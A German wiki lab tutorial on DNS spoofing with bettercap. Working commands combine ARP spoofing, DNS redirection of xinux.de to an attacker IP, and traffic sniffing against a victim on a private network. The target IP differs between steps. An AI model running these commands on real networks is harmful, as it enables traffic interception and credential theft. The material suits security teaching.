DNS Spoofing mit bettercap

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

DNS Spoofing mit bettercap

Vorbereitung

# bettercap installieren (Debian/Ubuntu)
sudo apt update && sudo apt install bettercap -y

Opfer-Überprüfung

# Echte IP der Zieldomain prüfen
host -4 xinux.de
# Erwartete Ausgabe: xinux.de has address 94.130.248.215

Angreifer-Konfiguration

# 1. DNS-Spoofing-Regel erstellen
echo '*.xinux.de 10.0.10.101' | sudo tee -a /usr/local/share/bettercap/caplets/dns-spoof.cap

# 2. Bettercap starten (ARP MITM + DNS Spoofing)
sudo bettercap -iface eth0 \
    -eval "set arp.spoof.targets 10.0.10.104; set dns.spoof.domains ~xinux.de; dns.spoof on; arp.spoof on; net.sniff on"

Alternative mit Caplet

# dns-spoof.cap erstellen
echo -e "set arp.spoof.targets 10.0.10.102\nset dns.spoof.domains ~xinux.de\ndns.spoof on\narp.spoof on\nnet.sniff on" | sudo tee /usr/local/share/bettercap/caplets/dns-spoof.cap

# Ausführen
sudo bettercap -iface eth0 -caplet dns-spoof

Opfer-Test

# Auf dem Opfergerät testen
ping xinux.de
# Erwartete Ausgabe: PING xinux.de (10.0.10.101)...

Parameter-Erklärung

  • ~xinux.de - Fängt alle Subdomains ab (Wildcard)
  • 10.0.10.102 - IP des Opfers
  • 10.0.10.101 - IP des Angreifers
  • -iface eth0 - Netzwerkinterface